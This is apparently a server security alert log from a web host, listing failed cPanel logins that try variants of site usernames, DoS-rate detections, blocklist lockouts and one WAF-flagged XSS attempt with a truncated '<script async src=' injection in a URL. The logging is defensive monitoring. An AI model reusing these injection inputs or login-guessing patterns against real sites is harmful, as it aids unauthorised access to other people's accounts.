[2026-06-26 01:36:39 +0000] info [cpaneld] 24.115.130.48 - certlogisticstogocom "GET /login/?login_only=1&user=certlogisticstogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogisticstogocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.112.88.108
country_id: 6252001
description:
[2026-06-26 01:36:42 +0000] info [cpaneld] 73.112.88.108 - certlogi "GET /login/?login_only=1&user=certlogi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogi (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.196.192.191
country_id: 1814991
description:
Jun 26 01:37:12 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.196.192.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.214
country_id: 690791
description:
Jun 26 01:37:46 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.214 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.117.179.4
country_id: 6252001
description:
[2026-06-26 01:38:44 +0000] info [cpaneld] 69.117.179.4 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.73.73.197
country_id: 6252001
description:
[2026-06-26 01:38:48 +0000] info [cpaneld] 73.73.73.197 - togofarm "GET /login/?login_only=1&user=togofarm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofarm (has_cpuser_file failed)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 193.56.20.139
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:augusta4132||Email:augusta-augusta13@juroho.peabody.center||RSV:8.20||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.130.10.29
country_id: 6251999
description:
Denial of Service (DoS) attack was discovered from 34.130.10.29: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.97.241.86
country_id: 1861060
description:
Denial of Service (DoS) attack was discovered from 34.97.241.86: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.101.200.166
country_id: 6252001
description:
[2026-06-26 01:39:37 +0000] info [cpaneld] 172.101.200.166 - ho "GET /login/?login_only=1&user=ho&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ho (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.34.141.20
country_id: 6252001
description:
[2026-06-26 01:39:29 +0000] info [cpaneld] 76.34.141.20 - horiz "GET /login/?login_only=1&user=horiz&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horiz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.14.40.131
country_id: 6252001
description:
[2026-06-26 01:39:32 +0000] info [cpaneld] 98.14.40.131 - hori "GET /login/?login_only=1&user=hori&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hori (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.245.187.40
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 35.245.187.40: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.212.247.231
country_id: 6252001
description:
[2026-06-26 01:39:11 +0000] info [cpaneld] 98.212.247.231 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.127.207.14
country_id: 1562822
description:
Jun 26 01:40:18 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.127.207.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.49.198
country_id: 226074
description:
Jun 26 01:41:06 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.49.198 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.175.105.126
country_id: 6252001
description:
[2026-06-26 01:42:03 +0000] info [cpaneld] 67.175.105.126 - ekinamagtg "GET /login/?login_only=1&user=ekinamagtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekinamagtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.76.15.246
country_id: 3996063
description:
[2026-06-26 01:41:40 +0000] info [cpaneld] 200.76.15.246 - npstg "GET /login/?login_only=1&user=npstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user npstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.217.241.162
country_id: 953987
description:
[2026-06-26 01:41:43 +0000] info [cpaneld] 102.217.241.162 - np "GET /login/?login_only=1&user=np&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user np (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jun 26 01:42:00 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.112.119.215
country_id: 3686110
description:
[2026-06-26 01:41:34 +0000] info [cpaneld] 186.112.119.215 - nps "GET /login/?login_only=1&user=nps&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nps (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.49.198
country_id: 226074
description:
Jun 26 01:41:12 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.49.198 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.201.244.233
country_id: 99237
description:
[2026-06-26 01:41:30 +0000] info [cpaneld] 62.201.244.233 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.241.90.80
country_id: 6252001
description:
[2026-06-26 01:42:52 +0000] info [cpaneld] 72.241.90.80 - wellci "GET /login/?login_only=1&user=wellci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.142.225.85
country_id: 6252001
description:
[2026-06-26 01:42:15 +0000] info [cpaneld] 69.142.225.85 - ekina "GET /login/?login_only=1&user=ekina&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekina (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.208.89.48
country_id: 6252001
description:
[2026-06-26 01:42:49 +0000] info [cpaneld] 71.208.89.48 - wellcit "GET /login/?login_only=1&user=wellcit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.15.203.67
country_id: 6252001
description:
[2026-06-26 01:42:11 +0000] info [cpaneld] 24.15.203.67 - ekinam "GET /login/?login_only=1&user=ekinam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekinam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.97.80.49
country_id: 6252001
description:
[2026-06-26 01:42:37 +0000] info [cpaneld] 98.97.80.49 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.69.96.228
country_id: 6252001
description:
[2026-06-26 01:42:41 +0000] info [cpaneld] 97.69.96.228 - wellcity "GET /login/?login_only=1&user=wellcity&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcity (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.186.126
country_id: 6252001
description:
47.251.186.126 - - [26/Jun/2026:01:42:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13264483&pdata=http%253A%252F%252Fcivilemagazine.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782438167 HTTP/1.1" 302 0 civilemagazine.tg "http://civilemagazine.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.186.126


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.164.151.124
country_id: 6252001
description:
[2026-06-26 01:43:00 +0000] info [cpaneld] 67.164.151.124 - well "GET /login/?login_only=1&user=well&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user well (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.205.32.45
country_id: 6252001
description:
[2026-06-26 01:43:03 +0000] info [cpaneld] 73.205.32.45 - lerendez "GET /login/?login_only=1&user=lerendez&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lerendez (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.33.12.102
country_id: 6252001
description:
[2026-06-26 01:43:06 +0000] info [cpaneld] 66.33.12.102 - we "GET /login/?login_only=1&user=we&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user we (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.223.127
country_id: 6252001
description:
47.77.223.127 - - [26/Jun/2026:01:42:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9814896&pdata=http%253A%252F%252Ftogodailynews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782438167 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.223.127


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.215.8
country_id: 6252001
description:
[2026-06-26 01:43:49 +0000] info [cpaneld] 172.59.215.8 - ho "GET /login/?login_only=1&user=ho&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ho (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.253.198.165
country_id: 6252001
description:
[2026-06-26 01:43:18 +0000] info [cpaneld] 69.253.198.165 - lere "GET /login/?login_only=1&user=lere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lere (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.62.135.103
country_id: 6252001
description:
[2026-06-26 01:43:21 +0000] info [cpaneld] 38.62.135.103 - ler "GET /login/?login_only=1&user=ler&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ler (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.46.171.231
country_id: 6252001
description:
[2026-06-26 01:43:25 +0000] info [cpaneld] 68.46.171.231 - horizonmedicaltg "GET /login/?login_only=1&user=horizonmedicaltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedicaltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.117.186.214
country_id: 6252001
description:
[2026-06-26 01:43:24 +0000] info [cpaneld] 71.117.186.214 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.197.112.135
country_id: 6252001
description:
[2026-06-26 01:43:28 +0000] info [cpaneld] 98.197.112.135 - atm "GET /login/?login_only=1&user=atm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user atm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.16.43.138
country_id: 6252001
description:
[2026-06-26 01:43:31 +0000] info [cpaneld] 134.16.43.138 - horizon "GET /login/?login_only=1&user=horizon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.108.0.247
country_id: 6252001
description:
[2026-06-26 01:44:29 +0000] info [cpaneld] 72.108.0.247 - horizonmedicaltg "GET /login/?login_only=1&user=horizonmedicaltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonmedicaltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.16.48.145
country_id: 6252001
description:
[2026-06-26 01:44:42 +0000] info [cpaneld] 98.16.48.145 - horiz "GET /login/?login_only=1&user=horiz&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horiz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.108.64.122
country_id: 6252001
description:
[2026-06-26 01:44:47 +0000] info [cpaneld] 68.108.64.122 - hori "GET /login/?login_only=1&user=hori&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hori (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.110.208.156
country_id: 6252001
description:
[2026-06-26 01:44:55 +0000] info [cpaneld] 46.110.208.156 - ho "GET /login/?login_only=1&user=ho&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ho (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.32.36.239
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 34.32.36.239: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.241.20
country_id: 2077456
description:
170.64.241.20 - - [26/Jun/2026:01:44:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000278&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434886 HTTP/2.0" 404 159 libertetogo.tg "https://libertetogo.tg/6" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.241.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.170.53.170
country_id: 6252001
description:
[2026-06-26 01:45:54 +0000] info [cpaneld] 70.170.53.170 - biere "GET /login/?login_only=1&user=biere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user biere (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.154.125
country_id: 953987
description:
104.28.154.125 - - [26/Jun/2026:01:46:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10315372&pdata=https%253A%252F%252Fdirect7.tg%252Fle-peuple-ewe-honore-la-memoire-de-son-souverain%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782438364 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/le-peuple-ewe-honore-la-memoire-de-son-souverain/" "Mozilla/5.0 (iPhone; CPU iPhone OS 26_6_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/147.0.7727.47 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.154.125


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.27.68.173
country_id: 6252001
description:
[2026-06-26 01:45:40 +0000] info [cpaneld] 69.27.68.173 - bieredjamatg "GET /login/?login_only=1&user=bieredjamatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredjamatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.164.147.253
country_id: 6252001
description:
[2026-06-26 01:46:04 +0000] info [cpaneld] 216.164.147.253 - bi "GET /login/?login_only=1&user=bi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bi (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.234.249.51
country_id: 6251999
description:
Denial of Service (DoS) attack was discovered from 35.234.249.51: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.240.105.193
country_id: 6252001
description:
[2026-06-26 01:45:50 +0000] info [cpaneld] 67.240.105.193 - biered "GET /login/?login_only=1&user=biered&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user biered (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.19.59.76
country_id: 6252001
description:
[2026-06-26 01:45:58 +0000] info [cpaneld] 24.19.59.76 - bier "GET /login/?login_only=1&user=bier&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bier (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-47.213.32.21.59||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 170.64.252.169
country_id: 2077456
description:
170.64.252.169 - - [26/Jun/2026:01:47:03 +0000] "GET /favicon.ico HTTP/2.0" 415 587 libertetogo.tg "https://libertetogo.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000278&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434886" "Mozilla/5.0 (Linux; arm_64; Android 16; SM-A165F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.252.169


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 207.90.244.22
country_id: 6252001
description:
Jun 26 01:46:10 ns5 pure-ftpd[62241]: (?@207.90.244.22) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.136.226
country_id: 690791
description:
Jun 26 01:46:14 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.136.226 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.252.169
country_id: 2077456
description:
170.64.252.169 - - [26/Jun/2026:01:47:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000278&pdata=https%253A%252F%252Flibertetogo.tg%252F6&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782434886 HTTP/2.0" 404 561 libertetogo.tg "-" "Mozilla/5.0 (Linux; arm_64; Android 16; SM-A165F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.252.169


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 8.228.193.150
country_id: 102358
description:
Denial of Service (DoS) attack was discovered from 8.228.193.150: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.163.182.146
country_id: 1282988
description:
103.163.182.146 - - [26/Jun/2026:01:47:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6918811&pdata=https%253A%252F%252Fdirect7.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F6856&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782438462 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/wp-json/wp/v2/tags/6856" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.163.182.146


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.249.103.88
country_id: 6252001
description:
[2026-06-26 01:47:49 +0000] info [cpaneld] 162.249.103.88 - ciieein "GET /login/?login_only=1&user=ciieein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.61.110.48
country_id: 6252001
description:
[2026-06-26 01:48:09 +0000] info [cpaneld] 38.61.110.48 - lepo "GET /login/?login_only=1&user=lepo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.140.151.52
country_id: 6252001
description:
[2026-06-26 01:47:41 +0000] info [cpaneld] 75.140.151.52 - ciieeinternationalorg "GET /login/?login_only=1&user=ciieeinternationalorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationalorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.127.183.24
country_id: 6252001
description:
[2026-06-26 01:47:46 +0000] info [cpaneld] 69.127.183.24 - lepopulistetogo "GET /login/?login_only=1&user=lepopulistetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopulistetogo (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.127.207.14
country_id: 1562822
description:
Jun 26 01:47:47 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.127.207.14 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.137.27.198
country_id: 6252001
description:
[2026-06-26 01:48:05 +0000] info [cpaneld] 73.137.27.198 - lepop "GET /login/?login_only=1&user=lepop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.125.82.5
country_id: 6252001
description:
[2026-06-26 01:48:14 +0000] info [cpaneld] 24.125.82.5 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.238.103.64
country_id: 1819730
description:
Jun 26 01:48:20 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.238.103.64 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.24.167.28
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.24.167.28: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.202.255.83
country_id: 2562770
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:142.202.255.83||TA:142.202.255.83||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.92.3.202
country_id: 6252001
description:
[2026-06-26 01:50:32 +0000] info [cpaneld] 64.92.3.202 - brmn "GET /login/?login_only=1&user=brmn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.196.91.123
country_id: 6252001
description:
[2026-06-26 01:50:43 +0000] info [cpaneld] 71.196.91.123 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun 26 01:50:56 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.16.33.6
country_id: 6252001
description:
[2026-06-26 01:50:28 +0000] info [cpaneld] 47.16.33.6 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.241.138.247
country_id: 458258
description:
2026-06-26 01:51:24 dovecot_plain authenticator failed for H=m-5-241-138-247.cust.tele2.lv (localhost) [5.241.138.247]:4009: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.187.78.97
country_id: 99237
description:
185.187.78.97 - - [26/Jun/2026:01:53:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6906260&pdata=https%253A%252F%252Ftogocarrierebetons.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782438781 HTTP/2.0" 302 0 togocarrierebetons.com "https://www.togocarrierebetons.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/22G090 Safari/605.1.15" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.187.78.97


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.21.186.119
country_id: 6252001
description:
[2026-06-26 01:53:50 +0000] info [cpaneld] 67.21.186.119 - audite "GET /login/?login_only=1&user=audite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user audite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.121.36.33
country_id: 6252001
description:
[2026-06-26 01:53:35 +0000] info [cpaneld] 24.121.36.33 - auditeccandco "GET /login/?login_only=1&user=auditeccandco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccandco (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 82.157.45.33
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/la-fss-uk-en-campagne-foraine-pour-ses-10-ans/<script async src=||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.13.235.67
country_id: 6252001
description:
